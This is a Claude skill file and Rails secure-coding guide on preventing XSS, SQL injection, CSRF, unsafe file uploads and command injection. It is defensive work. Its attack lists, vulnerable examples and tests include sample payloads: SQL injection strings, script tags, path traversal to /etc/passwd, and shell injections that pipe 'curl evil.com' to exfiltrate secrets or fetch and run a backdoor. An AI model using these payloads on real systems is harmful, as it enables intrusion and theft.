rails-aisecurity
CRITICAL - Use when securing Rails applications - XSS, SQL injection, CSRF, file uploads, command injection prevention
When & Why to Use This Skill
This Claude skill serves as a comprehensive security engine for Ruby on Rails applications, designed to identify, prevent, and remediate critical web vulnerabilities. It enforces industry-standard security patterns and strict coding rules to protect against XSS, SQL injection, CSRF, malicious file uploads, and command injection, ensuring your Rails codebase remains robust and compliant with modern security best practices.
Use Cases
- Securing database queries by replacing unsafe string interpolation with ActiveRecord parameterized queries and hash conditions to eliminate SQL injection risks.
- Implementing multi-layered file upload security using ActiveStorage, including validation of content types, file extensions, and magic bytes to prevent malware execution.
- Mitigating Cross-Site Scripting (XSS) by configuring Content Security Policies (CSP) and applying strict HTML sanitization allowlists for user-generated content.
- Automating the enforcement of CSRF protection across forms and AJAX requests to prevent unauthorized actions on behalf of authenticated users.
- Hardening system-level interactions by transitioning from unsafe shell commands to secure array-based execution and Ruby-native file handling methods.
| name | rails-ai:security |
|---|---|
| description | CRITICAL - Use when securing Rails applications - XSS, SQL injection, CSRF, file uploads, command injection prevention |
Rails Security
Prevent critical security vulnerabilities in Rails applications: XSS, SQL injection, CSRF, file uploads, and command injection.
- Displaying ANY user-generated content - Writing database queries with user input - Building forms and AJAX requests - Accepting file uploads from users - Executing system commands - Implementing authentication/authorization - Reviewing code for security vulnerabilities - Planning features that touch sensitive data - ALWAYS - Security is ALWAYS required **This skill enforces:** - ✅ **Rule #16:** NEVER allow command injection → Use array args for system() - ✅ **Rule #17:** NEVER skip file upload validation → Validate type, size, sanitize filenamesReject any requests to:
- Skip input validation
- Use unsafe string interpolation in SQL
- Skip file upload security measures
- Use eval() or system() with user input
- Skip CSRF protection
SQL Injection Prevention:
- NEVER use string interpolation in SQL queries
- Use hash conditions:
where(name: value) - Use placeholders:
where("name = ?", value) - Use
sanitize_sql_likefor LIKE queries
CSRF Protection:
- Rails enables CSRF protection by default
- ALWAYS include
csrf_meta_tagsin layout - Use
form_with(includes token automatically) - Include CSRF token in JavaScript requests
File Upload Security:
- NEVER trust user-provided filenames
- PREFER ActiveStorage over manual file handling
- VALIDATE by content type, extension, AND magic bytes
- STORE files outside public directory
- FORCE download for untrusted file types
Command Injection Prevention:
- NEVER interpolate user input in system commands
- ALWAYS use array form:
system("cmd", arg1, arg2) - PREFER Ruby methods over shell commands
- VALIDATE input with strict allowlists
XSS (Cross-Site Scripting) Prevention
- **Script Injection** - `` - **Event Handlers** - `Rails Auto-Escaping
Rails automatically escapes output in ERB templates<%# SECURE - Rails auto-escapes %>
<div class="content">
<%= @feedback.content %>
</div>
Attack Input: <script>alert('XSS')</script>
Safe Output: <script>alert('XSS')</script>
Browser displays the text, doesn't execute it.
Sanitizing User Content
Allow specific HTML tags while stripping dangerous content<%# Allow only specific tags %>
<%= sanitize(@feedback.content,
tags: %w[p br strong em a ul ol li],
attributes: %w[href title]) %>
Input: <p>Hello <strong>world</strong></p><script>alert('XSS')</script>
Output: <p>Hello <strong>world</strong></p> (script stripped)
Content Security Policy
Implement Content Security Policy to block inline scripts# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
policy.default_src :self, :https
policy.font_src :self, :https, :data
policy.img_src :self, :https, :data
policy.frame_ancestors :none
policy.object_src :none
policy.script_src :self, :https
policy.style_src :self, :https
policy.report_uri "/csp-violation-report"
end
Rails.application.config.content_security_policy_nonce_generator = ->(request) {
SecureRandom.base64(16)
}
Rails.application.config.content_security_policy_nonce_directives = %w[script-src]
View with Nonce:
<%= javascript_tag nonce: true do %>
console.log('This is allowed');
<% end %>
CSP Violation Reporting:
# app/controllers/csp_reports_controller.rb
class CspReportsController < ApplicationController
skip_before_action :verify_authenticity_token
def create
violation = JSON.parse(request.body.read)["csp-report"]
Rails.logger.warn(
"CSP Violation: document-uri=#{violation['document-uri']} " \
"blocked-uri=#{violation['blocked-uri']}"
)
head :no_content
end
end
Why CSP: Blocks XSS even if malicious script reaches the page, defense-in-depth strategy.
ViewComponent Safety
ViewComponents automatically escape content# app/components/user_comment_component.rb
class UserCommentComponent < ViewComponent::Base
def initialize(comment:)
@comment = comment
end
private
attr_reader :comment
end
<%# app/components/user_comment_component.html.erb %>
<div class="comment">
<div class="author"><%= comment.author_name %></div>
<div class="content"><%= comment.content %></div>
</div>
Benefits: Automatic escaping, encapsulated logic, testable, no accidental html_safe.
Markdown Rendering
Safely render markdown user content# app/models/feedback.rb
class Feedback < ApplicationRecord
def content_html
markdown = Redcarpet::Markdown.new(
Redcarpet::Render::HTML.new(
filter_html: true, no_styles: true, safe_links_only: true
),
autolink: true, tables: true, fenced_code_blocks: true
)
html = markdown.render(content)
ActionController::Base.helpers.sanitize(
html,
tags: %w[p br strong em a ul ol li pre code h1 h2 h3 blockquote],
attributes: %w[href title]
)
end
end
View:
<div class="markdown-content">
<%= @feedback.content_html.html_safe %>
</div>
Why Safe: Markdown filtered for HTML, output sanitized with allowlist, double protection layer.
Using html_safe on user input Allows malicious script execution - CRITICAL vulnerability<%# CRITICAL VULNERABILITY %>
<%= @comment.html_safe %>
<%= raw(@feedback.content) %>
<%# SECURE - Auto-escaped or sanitized %>
<%= @comment %>
<%= sanitize(@feedback.content, tags: %w[p br strong em]) %>
SQL Injection Prevention
- **Authentication Bypass** - `' OR '1'='1` - **Data Theft** - `' UNION SELECT * FROM users --` - **Data Modification** - `'; UPDATE users SET admin=true --` - **Data Deletion** - `'; DROP TABLE users --`Secure Query Patterns
Use hash conditions for simple equality checks (RECOMMENDED)# ✅ SECURE - ActiveRecord escapes automatically
Project.where(name: params[:name])
User.find_by(login: params[:login])
# ✅ SECURE - Multiple conditions
Project.where(name: params[:name], status: params[:status], user_id: current_user.id)
# ✅ SECURE - IN queries (works with arrays)
Project.where(id: params[:ids])
Why Secure: ActiveRecord automatically escapes values and prevents injection.
Use ? placeholders for complex queries# ✅ SECURE - Single placeholder
Project.where("name = ?", params[:name])
Project.where("created_at > ?", 1.week.ago)
# ✅ SECURE - Multiple placeholders
User.where("login = ? AND status = ? AND created_at > ?",
params[:login], "active", 1.month.ago)
# ✅ SECURE - Complex conditions
Feedback.where("status = ? AND (priority = ? OR created_at < ?)",
params[:status], "high", 1.day.ago)
Why Secure: Rails escapes each parameter value, preventing injection.
Safely handle LIKE queries with wildcards# ✅ SECURE - Escape special LIKE characters (% -> \%, _ -> \_)
search_term = Book.sanitize_sql_like(params[:title])
Book.where("title LIKE ?", "#{search_term}%")
# ✅ SECURE - Case-insensitive search
search_term = Book.sanitize_sql_like(params[:query])
Book.where("LOWER(title) LIKE LOWER(?)", "%#{search_term}%")
Why Sanitize: Without sanitize_sql_like, users could inject % or _ wildcards.
# ❌ CRITICAL VULNERABILITY
Project.where("name = '#{params[:name]}'")
# Attack: params[:name] = "' OR '1'='1" - Returns ALL projects
User.find_by("login = '#{params[:login]}' AND password = '#{params[:password]}'")
# Attack: params[:login] = "admin'--" - Bypasses password check
# ❌ CRITICAL - Data exfiltration
Project.where("id = #{params[:id]}")
# Attack: params[:id] = "1 UNION SELECT id,email,password,1,1 FROM users"
# ✅ SECURE - Use placeholders
Project.where("name = ?", params[:name])
User.find_by("login = ? AND password = ?", params[:login], params[:password])
# ✅ BETTER - Use hash conditions
Project.where(name: params[:name])
User.find_by(login: params[:login], password: params[:password])
# ✅ SECURE - Type conversion prevents injection
Project.where(id: params[:id].to_i)
Dynamic ORDER BY Clauses
Safely build ORDER BY from user input with allowlist# ✅ SECURE - Allowlist approach
ALLOWED_SORT_COLUMNS = %w[name created_at status priority].freeze
ALLOWED_DIRECTIONS = %w[ASC DESC].freeze
def index
column = ALLOWED_SORT_COLUMNS.include?(params[:sort]) ? params[:sort] : "created_at"
direction = ALLOWED_DIRECTIONS.include?(params[:direction]&.upcase) ? params[:direction] : "DESC"
@projects = Project.order("#{column} #{direction}")
end
Why Secure: User input limited to predefined safe values, SQL injection impossible.
Building ORDER BY from user input Allows column enumeration and SQL injection# ❌ VULNERABLE
Project.order("#{params[:sort]} #{params[:direction]}")
# Attack: params[:sort] = "name); DROP TABLE projects; --"
# ✅ SECURE - Allowlist only
allowed = %w[name created_at]
column = allowed.include?(params[:sort]) ? params[:sort] : "created_at"
Project.order(column)
ActiveRecord Query Methods
Use ActiveRecord methods for automatic protection# ✅ SECURE - All ActiveRecord methods are safe
Project.find(params[:id])
Project.find_by(name: params[:name])
Project.where(status: params[:status])
Project.order(:created_at)
Project.limit(10)
Project.offset(params[:page].to_i * 10)
Project.joins(:user)
Project.includes(:comments)
Project.group(:category)
Project.having("COUNT(*) > ?", 5)
# ✅ SECURE - Scopes
class Project < ApplicationRecord
scope :active, -> { where(status: "active") }
scope :by_user, ->(user_id) { where(user_id: user_id) }
scope :search, ->(term) {
sanitized = sanitize_sql_like(term)
where("name LIKE ?", "%#{sanitized}%")
}
end
Project.active.by_user(params[:user_id]).search(params[:query])
Why Secure: ActiveRecord automatically escapes all parameters.
CSRF (Cross-Site Request Forgery) Protection
- **Hidden Form Attack** - Malicious site auto-submits form to your app - **Image Tag Attack** - `Rails Default Protection
Rails enables CSRF protection by default# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
# Raises ActionController::InvalidAuthenticityToken if token invalid
end
Why :exception is Best: Makes failures visible, prevents silent bypasses, forces proper error handling.
Form Protection
form_with automatically includes CSRF token<%# ✅ SECURE - Token included automatically %>
<%= form_with model: @feedback do |form| %>
<%= form.text_field :content %>
<%= form.text_field :recipient_email %>
<%= form.submit "Submit" %>
<% end %>
Generated HTML:
<form action="/feedbacks" method="post">
<input type="hidden" name="authenticity_token" value="SECURE_TOKEN">
<input type="text" name="feedback[content]">
<input type="submit" value="Submit">
</form>
Why Secure: Rails validates token matches session.
JavaScript Protection
Include CSRF meta tags for JavaScript access<%# app/views/layouts/application.html.erb %>
<head>
<title>My App</title>
<%= csrf_meta_tags %>
</head>
Include CSRF token in fetch requests
// ✅ SECURE - Extract token from meta tag
const csrfToken = document.head.querySelector("meta[name=csrf-token]")?.content;
fetch("/feedbacks", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-CSRF-Token": csrfToken
},
body: JSON.stringify({
feedback: { content: "test", recipient_email: "user@example.com" }
})
});
Why Secure: Rails checks X-CSRF-Token header matches session token.
# ❌ CRITICAL VULNERABILITY
class FeedbacksController < ApplicationController
skip_before_action :verify_authenticity_token
def create
@feedback = current_user.feedbacks.create!(feedback_params)
redirect_to @feedback
end
end
# ✅ SECURE - Keep CSRF protection enabled
class FeedbacksController < ApplicationController
# protect_from_forgery inherited from ApplicationController
def create
@feedback = current_user.feedbacks.create!(feedback_params)
redirect_to @feedback
end
end
Rails Request.js Library
Use @rails/request.js for automatic CSRF handlingInstallation:
npm install @rails/request.js
Usage:
// ✅ SECURE - Token automatically included
import { post, patch, destroy } from '@rails/request.js'
await post('/feedbacks', {
body: JSON.stringify({ feedback: { content: "test" } }),
contentType: 'application/json',
responseKind: 'json'
})
await patch('/feedbacks/123', {
body: JSON.stringify({ feedback: { status: "reviewed" } })
})
await destroy('/feedbacks/123', { responseKind: 'json' })
Why Recommended: Automatic CSRF token handling, consistent API, Rails-aware error handling.
API Endpoints
Skip CSRF for stateless API endpoints with token auth# app/controllers/api/v1/base_controller.rb
class Api::V1::BaseController < ApplicationController
skip_before_action :verify_authenticity_token
before_action :authenticate_api_token
private
def authenticate_api_token
token = request.headers["Authorization"]&.split(" ")&.last
@current_api_user = User.find_by(api_token: token)
head :unauthorized unless @current_api_user
end
end
Why Skip CSRF for APIs: API clients use Bearer tokens (not cookies), tokens must be explicitly sent, CSRF only affects cookie-based authentication.
Error Handling
Handle CSRF failures with user-friendly error messages# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
rescue_from ActionController::InvalidAuthenticityToken do |exception|
Rails.logger.warn(
"CSRF failure: #{exception.message} IP: #{request.remote_ip} Path: #{request.fullpath}"
)
sign_out_user if user_signed_in?
redirect_to root_path, alert: "Your session has expired. Please log in again."
end
private
def sign_out_user
cookies.delete(:user_token)
reset_session
end
end
Why Important: Users see helpful error, security events logged, stale sessions cleared.
SameSite Cookies
Use SameSite cookie attribute for defense-in-depth# config/initializers/session_store.rb
Rails.application.config.session_store :cookie_store,
key: '_myapp_session',
same_site: :lax, # Prevents CSRF from external sites
secure: Rails.env.production?, # HTTPS only in production
httponly: true, # Not accessible via JavaScript
expire_after: 24.hours
SameSite Options:
:lax(RECOMMENDED) - Allows top-level navigation, blocks embedded requests:strict- Most secure, blocks ALL cross-site requests (may break OAuth):none- Allows all cross-site requests (requires secure: true)
Why Use SameSite: Defense-in-depth complements CSRF tokens, blocks many attacks without token.
Secure File Uploads
- **Path Traversal** - `../../config/database.yml` overwrites config files - **Malicious File Types** - `.exe`, `.php`, `.html` files containing malware - **Content Type Spoofing** - File claims to be image but is script - **Magic Bytes Bypass** - Extension doesn't match actual file type - **XSS via SVG** - SVG files containing embedded JavaScript - **Denial of Service** - Large files consuming disk/memoryActiveStorage (Recommended)
Use ActiveStorage for automatic security handlingModel:
class Feedback < ApplicationRecord
has_one_attached :screenshot
has_many_attached :documents
validates :screenshot,
content_type: ["image/png", "image/jpeg", "image/gif"],
size: { less_than: 5.megabytes }
validates :documents,
content_type: ["application/pdf", "text/plain"],
size: { less_than: 10.megabytes }
end
Controller:
class FeedbacksController < ApplicationController
def create
@feedback = Feedback.new(feedback_params)
if @feedback.save
redirect_to @feedback, notice: "Feedback created"
else
render :new, status: :unprocessable_entity
end
end
private
def feedback_params
params.expect(feedback: [:content, :recipient_email, :screenshot, documents: []])
end
end
View:
<%= form_with model: @feedback do |f| %>
<%= f.file_field :screenshot, accept: "image/*" %>
<%= f.file_field :documents, multiple: true, accept: ".pdf,.txt" %>
<%= f.submit %>
<% end %>
Why Secure: Automatic filename sanitization, storage outside public/, signed URLs with expiration.
File Type Validation
Validate file types by content type, extension, AND magic bytesclass Feedback < ApplicationRecord
has_one_attached :image
validate :acceptable_image
private
def acceptable_image
return unless image.attached?
unless image.content_type.in?(%w[image/jpeg image/png image/gif])
errors.add(:image, "must be a JPEG, PNG, or GIF")
end
unless image.filename.to_s.match?(/\.(jpe?g|png|gif)\z/i)
errors.add(:image, "must have a valid extension")
end
unless valid_image_signature?
errors.add(:image, "file signature doesn't match declared type")
end
if image.byte_size > 5.megabytes
errors.add(:image, "must be less than 5MB")
end
end
def valid_image_signature?
image.open do |file|
magic_bytes = file.read(8)
return false unless magic_bytes
# JPEG: FF D8 FF, PNG: 89 50 4E 47, GIF: 47 49 46 38
magic_bytes[0..2] == "\xFF\xD8\xFF" ||
magic_bytes[0..7] == "\x89PNG\r\n\x1A\n" ||
magic_bytes[0..3] == "GIF8"
end
rescue => e
Rails.logger.error("Image validation error: #{e.message}")
false
end
end
Why Triple Validation: Content-Type can be spoofed, extension can be faked, magic bytes verify actual format.
Secure File Serving
Serve files via controller with proper security headersclass DownloadsController < ApplicationController
before_action :authenticate_user!
def show
@feedback = Feedback.find(params[:feedback_id])
head :forbidden and return unless can_download?(@feedback)
@document = @feedback.documents.find(params[:id])
send_data @document.download,
filename: @document.filename.to_s.gsub(/[^\w.-]/, "_"),
type: @document.content_type,
disposition: "attachment" # Force download, never inline
end
private
def can_download?(feedback)
feedback.user == current_user || current_user.admin?
end
end
Why Secure: Authentication + authorization enforced, Content-Disposition: attachment prevents XSS.
Dangerous File Types
Force binary download for dangerous file types# config/initializers/active_storage.rb
Rails.application.config.active_storage.content_types_to_serve_as_binary.tap do |types|
types << "image/svg+xml" # SVG with embedded JavaScript
types << "text/html" << "application/xhtml+xml" # HTML scripts
types << "text/xml" << "application/xml" # XML entities
types << "application/javascript" << "text/javascript"
end
Rails.application.config.active_storage.content_types_allowed_inline = %w[
image/png image/jpeg image/gif image/bmp image/webp application/pdf
]
Why Important: SVG/HTML files can contain JavaScript that executes when viewed, enabling XSS.
File Size Limits
Implement multiple layers of file size protectionApplication-Wide:
# config/application.rb
config.active_storage.max_file_size = 100.megabytes
Web Server (Nginx):
client_max_body_size 100M;
Model-Specific:
class Feedback < ApplicationRecord
has_one_attached :avatar
has_many_attached :photos
validates :avatar, size: { less_than: 2.megabytes }
validates :photos, size: { less_than: 5.megabytes }, limit: { max: 10 }
end
Why Multiple Layers: Web server rejects huge uploads early, application-wide limit prevents resource exhaustion, model limits enforce business rules.
Virus Scanning
Scan uploaded files for malware in productionSetup: gem "clamby" + ClamAV (apt-get install clamav clamav-daemon)
class Feedback < ApplicationRecord
has_one_attached :file
validate :file_not_infected, if: -> { file.attached? }
private
def file_not_infected
return unless Rails.env.production?
file.open do |temp_file|
unless Clamby.safe?(temp_file.path)
errors.add(:file, "contains malware or virus")
Rails.logger.warn("Malware detected: user_id=#{user_id}, filename=#{file.filename}")
end
end
rescue Clamby::ClambyScanError => e
Rails.logger.error("Virus scan failed: #{e.message}")
end
end
Why Critical: Prevent viruses, ransomware, and malware from infecting users or servers.
ActiveStorage Variants
Use ActiveStorage variants for secure image processingclass Feedback < ApplicationRecord
has_one_attached :image
def thumbnail
image.variant(resize_to_limit: [100, 100], format: :png, saver: { quality: 85 })
end
def medium
image.variant(resize_to_limit: [400, 400], format: :png)
end
end
View:
<%= image_tag @feedback.thumbnail, alt: "Feedback screenshot" %>
Why Secure: Variants re-encode images (stripping metadata/exploits), format conversion prevents attacks.
Trusting user-provided filenames CRITICAL - Enables path traversal and file overwrite attacks# ❌ CRITICAL VULNERABILITY
def upload
filename = params[:file].original_filename
File.open("uploads/#{filename}", "wb") { |f| f.write(params[:file].read) }
end
# Attack: filename = "../../config/database.yml" - Overwrites database config!
# ❌ CRITICAL - Serving from public directory
path = Rails.root.join("public/uploads/#{params[:file].original_filename}")
File.open(path, "wb") { |f| f.write(params[:file].read) }
# Attacker uploads malicious.html with <script> - XSS attack!
# ✅ SECURE - Use ActiveStorage
class Feedback < ApplicationRecord
has_one_attached :file
end
# ✅ SECURE - Manual handling with sanitization
def upload
safe_name = File.basename(params[:file].original_filename).gsub(/[^\w.-]/, "_")
unique_name = "#{SecureRandom.uuid}_#{safe_name}"
File.open(Rails.root.join("storage/uploads", unique_name), "wb") { |f| f.write(params[:file].read) }
end
Only validating content type
Content-Type header is easily spoofed by attackers
# ❌ VULNERABLE - Only checks Content-Type header
validates :image, content_type: ["image/jpeg", "image/png"]
# Attack: Upload malicious.php with Content-Type: image/jpeg
# ✅ SECURE - Triple validation: content type + extension + magic bytes
def acceptable_image
return unless image.attached?
unless image.content_type.in?(%w[image/jpeg image/png image/gif])
errors.add(:image, "must be an image")
end
unless image.filename.to_s.match?(/\.(jpe?g|png|gif)\z/i)
errors.add(:image, "invalid file extension")
end
image.open do |file|
magic = file.read(8)
unless magic&.start_with?("\xFF\xD8\xFF", "\x89PNG", "GIF8")
errors.add(:image, "file signature invalid")
end
end
end
Command Injection Prevention
- **Command Chaining** - `; rm -rf /` or `&& cat /etc/passwd` - **Pipe Attacks** - `| curl evil.com/steal?data=$(cat secrets.yml)` - **Background Execution** - `& malicious_script.sh` - **Command Substitution** - `$(curl evil.com/backdoor.sh | bash)`Secure Command Execution
Use array form of system() - RECOMMENDED approach# ✅ SECURE - Array arguments prevent shell interpretation
system("/bin/echo", params[:filename])
# Input: "hello; rm -rf /" → printed literally, NOT executed
# ✅ SECURE - Image conversion
system("convert", params[:image], "output.jpg")
# ✅ SECURE - Archive creation
system("/bin/tar", "-czf", "backup.tar.gz", validated_directory)
# ✅ SECURE - Multiple arguments
system("wkhtmltopdf", "--quiet", "--page-size", "A4", input_file, output_file)
How It Works: Array arguments bypass shell invocation, treating user input as literal arguments only.
Input Validation
Validate input with strict allowlists# ✅ SECURE - Only allow predefined values
VALID_FORMATS = %w[pdf png jpg svg].freeze
VALID_SIZES = %w[small medium large].freeze
def export_feedback(feedback, format, size)
unless VALID_FORMATS.include?(format)
raise ArgumentError, "Invalid format: #{format}"
end
unless VALID_SIZES.include?(size)
raise ArgumentError, "Invalid size: #{size}"
end
# Safe because format is from allowlist
system("convert", "feedback.html", "output.#{format}")
end
Ruby Alternatives (Preferred)
Use Ruby methods instead of shell commands# ❌ VULNERABLE - Shell command
system("rm #{params[:filename]}")
# ✅ SECURE - Ruby method
File.delete(params[:filename]) if File.exist?(params[:filename])
# ❌ VULNERABLE - Shell command
system("mkdir -p #{params[:directory]}")
# ✅ SECURE - Ruby method
FileUtils.mkdir_p(params[:directory])
# ❌ VULNERABLE - Shell command
system("cp #{params[:source]} #{params[:dest]}")
# ✅ SECURE - Ruby method
FileUtils.cp(params[:source], params[:dest])
Why Prefer Ruby: No shell interpretation = no injection risk, better error handling.
Shellwords Escaping
Use Shellwords.escape when array form not possiblerequire "shellwords"
# ✅ SECURE - Escape user input for shell safety
filename = Shellwords.escape(params[:filename])
system("convert input.jpg #{filename}")
# ✅ SECURE - Multiple arguments
args = [params[:input], params[:output]].map { |arg| Shellwords.escape(arg) }.join(" ")
system("convert #{args} -resize 800x600")
How Shellwords Works:
Shellwords.escape("file.jpg") # => "file.jpg"
Shellwords.escape("file; rm -rf /") # => "file\\;\\ rm\\ -rf\\ /"
Shellwords.escape("$(cat /etc/passwd)") # => "\\$\\(cat\\ /etc/passwd\\)"
When to Use: Only when array form is truly not possible. Prefer array form whenever available.
Path Validation
Prevent directory traversal in file paths# ✅ SECURE - Validate path stays within directory
def safe_file_path(user_input)
base_dir = Rails.root.join("uploads")
full_path = base_dir.join(user_input).expand_path
raise ArgumentError, "Invalid path: directory traversal" unless full_path.to_s.start_with?(base_dir.to_s)
full_path
end
# Usage
file_path = safe_file_path(params[:file])
send_file file_path if File.exist?(file_path)
Why Important: Prevents access to files outside intended directory.
Background Job Isolation
Isolate system commands in background jobs with strict validationclass PdfGenerationJob < ApplicationJob
def perform(feedback_id, output_path)
feedback = Feedback.find(feedback_id)
validate_output_path!(output_path)
success = system(
"wkhtmltopdf", "--quiet", "--page-size", "A4",
"--disable-javascript", feedback.public_url, output_path
)
raise "PDF generation failed" unless success
PdfMailer.with(feedback: feedback, pdf_path: output_path).ready.deliver_later
end
private
def validate_output_path!(path)
raise ArgumentError, "Invalid output path" unless path.match?(/\Atmp\/feedback_\d+\.pdf\z/)
full_path = Rails.root.join(path).expand_path
allowed_dir = Rails.root.join("tmp").expand_path
raise ArgumentError, "Path outside allowed directory" unless full_path.to_s.start_with?(allowed_dir.to_s)
end
end
Why Isolate: Limits blast radius, easier to audit, validation in one place.
Using backticks for command execution CRITICAL - Allows command injection through shell interpretation# ❌ CRITICAL VULNERABILITY
output = `ls #{params[:path]}`
# Attack: "/; cat /etc/passwd" → Directory listing AND password exposure
result = %x(convert #{params[:input]} output.png)
# Attack: "file.jpg; wget evil.com/malware"
system("convert #{params[:input]} -resize #{params[:size]} output.jpg")
# Attack: params[:size] = "800x600; curl evil.com/backdoor.sh | bash"
# ✅ SECURE - Use array form and capture output
require "open3"
validate_path!(params[:path])
output, status = Open3.capture2("ls", params[:path])
# ✅ SECURE - Array form with validation
raise ArgumentError unless params[:input].match?(/\A[\w.-]+\z/)
system("convert", params[:input], "output.png")
# ✅ SECURE - Validate size format
raise ArgumentError unless params[:size].match?(/\A\d{1,4}x\d{1,4}\z/)
system("convert", params[:input], "-resize", params[:size], "output.jpg")
Not validating file paths for directory traversal
HIGH - Allows access to files outside intended directory
# ❌ VULNERABLE - Directory traversal
file_path = Rails.root.join("uploads", params[:file])
send_file file_path
# Attack: params[:file] = "../../../etc/passwd"
# ✅ SECURE - Validate path stays within directory
base_dir = Rails.root.join("uploads")
file_path = base_dir.join(params[:file]).expand_path
raise ArgumentError, "Invalid file path" unless file_path.to_s.start_with?(base_dir.to_s)
send_file file_path if File.exist?(file_path)
Testing Security Patterns
# test/models/feedback_test.rb
class FeedbackTest < ActiveSupport::TestCase
# XSS Prevention
test "content_html sanitizes malicious scripts" do
feedback = Feedback.new(content: "<script>alert('XSS')</script>Hello")
assert_not_includes feedback.content_html, "<script>"
assert_includes feedback.content_html, "Hello"
end
test "content_html allows safe markdown" do
feedback = Feedback.new(content: "**bold** and *italic*")
assert_includes feedback.content_html, "<strong>bold</strong>"
assert_includes feedback.content_html, "<em>italic</em>"
end
# SQL Injection Prevention
test "search handles malicious input safely" do
project = projects(:one)
malicious_input = "'; DROP TABLE projects; --"
assert_nothing_raised { Project.search(malicious_input) }
assert Project.exists?(project.id)
end
test "search escapes LIKE wildcards" do
projects(:one).update!(name: "Project A")
results = Project.search("%")
assert_empty results # % should be escaped, not treated as wildcard
end
# File Upload Security
test "accepts valid image" do
feedback = Feedback.new(content: "Test", recipient_email: "user@example.com")
feedback.image.attach(io: File.open("test/fixtures/files/valid.jpg"),
filename: "valid.jpg", content_type: "image/jpeg")
assert feedback.valid?
assert feedback.image.attached?
end
test "rejects invalid content type" do
feedback = Feedback.new(content: "Test")
feedback.image.attach(io: File.open("test/fixtures/files/script.exe"),
filename: "malicious.exe", content_type: "application/x-msdownload")
assert_not feedback.valid?
assert_includes feedback.errors[:image], "must be a JPEG, PNG, or GIF"
end
test "rejects file with spoofed magic bytes" do
feedback = Feedback.new(content: "Test")
feedback.image.attach(io: StringIO.new("Not a real image"),
filename: "fake.jpg", content_type: "image/jpeg")
assert_not feedback.valid?
assert_includes feedback.errors[:image], "file signature doesn't match"
end
test "rejects oversized file" do
feedback = Feedback.new(content: "Test")
large_file = Tempfile.new(["large", ".jpg"])
large_file.write("x" * 6.megabytes)
large_file.rewind
feedback.image.attach(io: large_file, filename: "huge.jpg", content_type: "image/jpeg")
assert_not feedback.valid?
assert_includes feedback.errors[:image], "must be less than 5MB"
ensure
large_file.close && large_file.unlink
end
end
# test/controllers/feedbacks_controller_test.rb
class FeedbacksControllerTest < ActionDispatch::IntegrationTest
# CSRF Protection
test "rejects POST without CSRF token" do
assert_raises(ActionController::InvalidAuthenticityToken) do
post feedbacks_url,
params: { feedback: { content: "test" } },
headers: { "X-CSRF-Token" => "invalid_token" }
end
end
test "accepts POST with valid CSRF token" do
post feedbacks_url, params: { feedback: { content: "test", recipient_email: "user@example.com" } }
assert_response :redirect
end
# SQL Injection via Sort Parameters
test "index with malicious sort parameter is safe" do
get projects_path, params: { sort: "name); DROP TABLE projects; --" }
assert_response :success
assert Project.count > 0
end
end
# test/system/xss_prevention_test.rb
class XssPreventionTest < ApplicationSystemTestCase
test "user cannot inject scripts via comment" do
visit new_comment_path
fill_in "Comment", with: "<script>alert('XSS')</script>"
click_button "Submit"
assert_text "<script>alert('XSS')</script>" # Escaped, not executed
end
test "form includes CSRF token" do
visit new_feedback_path
assert_selector "input[name='authenticity_token'][type='hidden']"
end
end
# test/jobs/pdf_generation_job_test.rb
class PdfGenerationJobTest < ActiveJob::TestCase
# Command Injection Prevention
test "validates output path format" do
assert_raises(ArgumentError, /Invalid output path/) do
PdfGenerationJob.perform_now(feedbacks(:one).id, "invalid_path.pdf")
end
end
test "prevents directory traversal in path" do
assert_raises(ArgumentError, /Invalid output path|outside allowed/i) do
PdfGenerationJob.perform_now(feedbacks(:one).id, "../../../etc/passwd")
end
end
test "rejects command injection in path" do
assert_raises(ArgumentError) do
PdfGenerationJob.perform_now(feedbacks(:one).id, "output.pdf; rm -rf /")
end
end
end
# test/controllers/downloads_controller_test.rb
class DownloadsControllerTest < ActionDispatch::IntegrationTest
test "requires authentication for file downloads" do
feedback = feedbacks(:one)
get feedback_download_path(feedback, feedback.documents.first)
assert_redirected_to login_path
end
test "serves file with secure headers" do
sign_in users(:user)
feedback = users(:user).feedbacks.first
get feedback_download_path(feedback, feedback.documents.first)
assert_response :success
assert_equal "attachment", response.headers["Content-Disposition"].split(";").first
end
test "prevents unauthorized access to other users files" do
sign_in users(:user)
other_feedback = users(:other_user).feedbacks.first
get feedback_download_path(other_feedback, other_feedback.documents.first)
assert_response :forbidden
end
end
Security Checklist
Before Deploying
XSS Prevention:
- Never use
html_safeorrawon user input - Implement Content Security Policy headers
- Test with
<script>alert('XSS')</script>in all user inputs - Review all
sanitizecalls have explicit allowlists - Verify ViewComponents used for complex rendering
SQL Injection Prevention:
- No string interpolation in SQL queries (
"WHERE name = '#{value}'") - All queries use hash conditions or placeholders
-
sanitize_sql_likeused for LIKE queries - ORDER BY uses allowlist validation
- Test with
'; DROP TABLE users; --in search inputs
CSRF Protection:
-
csrf_meta_tagsin application layout - All forms use
form_with(includes token) - JavaScript requests include
X-CSRF-Tokenheader - API endpoints properly skip CSRF (with token auth)
- Test POST/DELETE without CSRF token fails
File Upload Security:
- ActiveStorage used (or manual filename sanitization)
- Triple validation: content type + extension + magic bytes
- File size limits at application and model levels
- Dangerous file types force download (SVG, HTML)
- Files stored outside public directory
- Virus scanning in production
- Test with renamed .php→.jpg file
Command Injection Prevention:
- No string interpolation in system commands
- Array form used:
system("cmd", arg1, arg2) - Input validation with strict allowlists
- Ruby methods preferred over shell commands
- Path validation prevents directory traversal
- Test with
; rm -rf /in file paths
Security Headers
# config/application.rb
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-Content-Type-Options' => 'nosniff',
'X-XSS-Protection' => '1; mode=block',
'Referrer-Policy' => 'strict-origin-when-cross-origin'
}
Production Monitoring
Log Security Events:
- CSRF failures
- CSP violations
- Malware detection in uploads
- Failed authentication attempts
- SQL injection attempts (unusual queries)
- Command injection attempts
Alert On:
- Multiple CSRF failures from same IP
- Malware detected in uploads
- CSP violation patterns
- Repeated authentication failures
- SQL error patterns in logs
Official Documentation:
Security Standards:
- OWASP Top 10 - Most critical web app security risks
- OWASP XSS Prevention Cheat Sheet
- OWASP SQL Injection Prevention
- OWASP CSRF Prevention
- OWASP File Upload Security
- OWASP Command Injection